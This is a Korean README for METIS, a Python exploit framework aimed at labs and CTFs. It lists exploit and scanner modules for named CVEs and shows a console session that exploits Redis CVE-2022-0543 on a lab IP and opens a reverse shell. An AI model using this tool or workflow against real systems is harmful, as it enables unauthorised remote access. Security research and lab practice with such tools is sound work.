Metasploit 스타일 콘솔, 자동 등록되는 Exploit 및 Auxiliary 모듈, 삼상태 검사, 그리고 실습 및 CTF 타겟을 위한 다양한 세션 전송을 갖춘 모듈식 Python 익스플로잇 프레임워크입니다.
███╗ ███╗███████╗████████╗██╗███████╗
████╗ ████║██╔════╝╚══██╔══╝██║██╔════╝
██╔████╔██║█████╗ ██║ ██║███████╗
██║╚██╔╝██║██╔══╝ ██║ ██║╚════██║
██║ ╚═╝ ██║███████╗ ██║ ██║███████║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝
학습을 위해 만들어진 Python 익스플로잇 프레임워크. 모듈형 아키텍처, 테마 콘솔, 다양한 세션 전송 방식, 그리고 계속 성장하는 CVE 모듈 라이브러리를 갖추고 있습니다.
METIS는 커뮤니티 주도 보안 연구 프레임워크입니다. 목표는 보안 연구원, 개발자, 그리고 더 넓은 커뮤니티가 기여한 모듈 컬렉션을 지속적으로 성장시키는 것입니다.
공유하고 싶은 유용한 스캐너, 보조 모듈, 익스플로잇 모듈 또는 기타 보안 연구 도구가 있으신가요? METIS에 추가하고 Pull Request를 열어주세요.
프로젝트의 모듈 구조, 코딩 표준, 그리고 승인된 사용 지침을 따르는 한 모든 기여를 환영합니다.
새로운 CVE 모듈을 추가하든, 기존 모듈을 개선하든, 버그를 수정하든, 새로운 프레임워크 기능을 구축하든, 여러분의 기여는 METIS를 모두에게 더 나은 도구로 만드는 데 도움이 됩니다.
자신만의 모듈을 만드는 방법은 아래 모듈 작성 을 참조하세요.
METIS는 Python으로 작성된 모듈형 C2/익스플로잇 프레임워크입니다. Metasploit 스타일의 대화형 콘솔을 실행하며, 여기서 모듈을 선택하고, 옵션을 설정하고, 검사를 실행하고, 랩 대상에 대해 세션을 확보할 수 있습니다.
다음을 위해 설계되었습니다:
다음을 위해서는 설계되지 않았습니다:
.py 파일을 modules/에 넣으면 자동으로 등록됩니다Exploit (세션 생성) 및 Auxiliary (스캐너, 열거자)check() — 모든 모듈이 공격 전에 검증 가능 (VULNERABLE / SAFE / UNKNOWN)file: 대상 지정과 실시간 진행 표시줄KEY=VALUE 파일에서 옵션 로드| 모듈 | 설명 |
|---|---|
auxiliary/scanner/tcp_connect | 스레드 TCP 포트 스캐너 |
auxiliary/scanner/hikvision_cve_2017_7921 | Hikvision IP 카메라 인증 우회 + 사용자 열거 |
auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 | MikroTik WinBox 자격 증명 유출 |
auxiliary/scanner/redis_cve_2022_0543 | Redis Lua 샌드박스 이스케이프 탐지기 |
| 모듈 | 세션 유형 |
|---|---|
exploit/unix/ftp/vsftpd_234_backdoor | 바인드 소켓 |
exploit/multi/http/ghost_cms_handlebars_rce | 리버스 소켓 |
exploit/multi/http/langflow_rce_cve_2026_9198 | 리버스 소켓 |
exploit/multi/http/budibase_plugin_upload_rce_cve_2026_31816 | 리버스 소켓 |
exploit/multi/http/activemq_jolokia_rce_cve_2026_34197 | 리버스 소켓 |
exploit/multi/http/tomcat_put_rce_cve_2017_12615 | 리버스 소켓 |
exploit/multi/http/joomla_jce_rce_cve_2026_48907 | HTTP 웹셸 |
exploit/linux/http/freepbx_sqli_rce_cve_2025_57819 | 지연 리버스 (cron) |
exploit/linux/redis/redis_cve_2022_0543_rce | 리버스 소켓 |
exploit/linux/ssh/libssh_auth_bypass_cve_2018_10933 | Paramiko 채널 |
exploit/linux/telnet/inetutils_telnetd_bypass_cve_2026_24061 | 원시 텔넷 소켓 |
Python 3.10+ 및 git이 필요합니다.
git clone https://github.com/K3ysTr0K3R/METIS.git
cd METIS
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
requirements.txt:
pwntools>=4.11.0
requests>=2.31.0
paramiko>=3.0.0
redis>=5.0.0
cryptography>=42.0.0
rich>=13.7.0
prompt_toolkit>=3.0.43
실행:
python3 metis.py
metis > show modules
# Module Date Rank Chk Description
-- ------------------------------------------------------------ ---------- --------- --- -----------
1 auxiliary/scanner/hikvision_cve_2017_7921 2017-09-23 normal Yes Hikvision IP Camera Authentication Bypass (CVE-2017-7921)
2 auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 2018-08-01 great Yes MikroTik WinBox Credential Leak (CVE-2018-14847)
...
15 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes vsftpd 2.3.4 Backdoor Command Execution
metis > search redis
# Module Date Rank Chk Description
-- ------ ---- ---- --- -----------
1 auxiliary/scanner/redis_cve_2022_0543 2022-02-18 excellent Yes Redis CVE-2022-0543 Scanner
2 exploit/linux/redis/redis_cve_2022_0543_rce 2022-02-18 excellent Yes Redis CVE-2022-0543 Lua Sandbox Escape RCE
metis > use 2
[*] using exploit/linux/redis/redis_cve_2022_0543_rce
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set RHOST 192.168.56.101
[+] RHOST => 192.168.56.101
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set LHOST 192.168.56.1
[+] LHOST => 192.168.56.1
metis exploit(linux/redis/redis_cve_2022_0543_rce) > check
[*] check: probing 192.168.56.101:6379
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[*] check -> vulnerable
metis exploit(linux/redis/redis_cve_2022_0543_rce) > exploit
[*] running check() before exploit (AUTOCHECK=true)
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[+] target appears vulnerable — proceeding
[*] listening on 192.168.56.1:4444 for reverse shell
[+] shell from 192.168.56.101:51234
[+] new session: <Session a3f2b1c4 192.168.56.101:51234>
metis exploit(linux/redis/redis_cve_2022_0543_rce) > sessions
a3f2b1c4 192.168.56.101:51234 (alive)
metis exploit(linux/redis/redis_cve_2022_0543_rce) > interact a3f2b1c4
[*] interacting with a3f2b1c4. 'background' returns, '!cmd' runs locally.
a3f2b1c4 $ id
uid=105(redis) gid=108(redis) groups=108(redis)
a3f2b1c4 $ background
metis >
| 명령어 | 효과 |
|---|---|
show modules | 메타데이터와 함께 모든 모듈 나열 |
search <term> | 경로, 이름, 설명 또는 CVE로 검색 |
use <N|path> | 번호 또는 경로로 모듈 선택 |
set <OPT> <val> | 모듈 옵션 설정 |
setg <OPT> <val> | 전역 옵션 설정 (모든 모듈에 적용) |
check | 모듈의 비파괴적 check() 실행 |
run / exploit | 모듈 실행 |
sessions | 활성 세션 나열 |
interact <sid> | 세션에 진입 |
connect <host> <port> | 바인드 셸에 연결 |
listen <host> <port> | 원시 TCP 핸들러 시작 |
resource <file.rc> | RC 파일에서 명령 실행 |
theme <name> | 테마 전환 (22개 사용 가능) |
gradient | 진행 표시줄 그라디언트 구성 |
!<cmd> | 로컬 셸 명령 실행 |
shell | 대화형 로컬 셸로 진입 |
exit | 종료 |
보조 스캐너의 경우 RHOSTS를 사용하세요. 다음을 허용합니다:
set RHOSTS 192.168.56.101
set RHOSTS 192.168.56.101,192.168.56.102,10.0.0.5
set RHOSTS 192.168.56.0/24
set RHOSTS 192.168.56.100-192.168.56.120
set RHOSTS file:/path/to/targets.txt
파일에는 위 형식 중 하나를 한 줄에 하나씩 포함할 수 있으며, # 주석을 사용할 수 있습니다.
익스플로잇의 경우 RHOST는 단일 대상을 받습니다.
22가지 내장 색상 구성표. 인수 없이 theme을 입력하면 미리보기와 함께 모두 나열됩니다.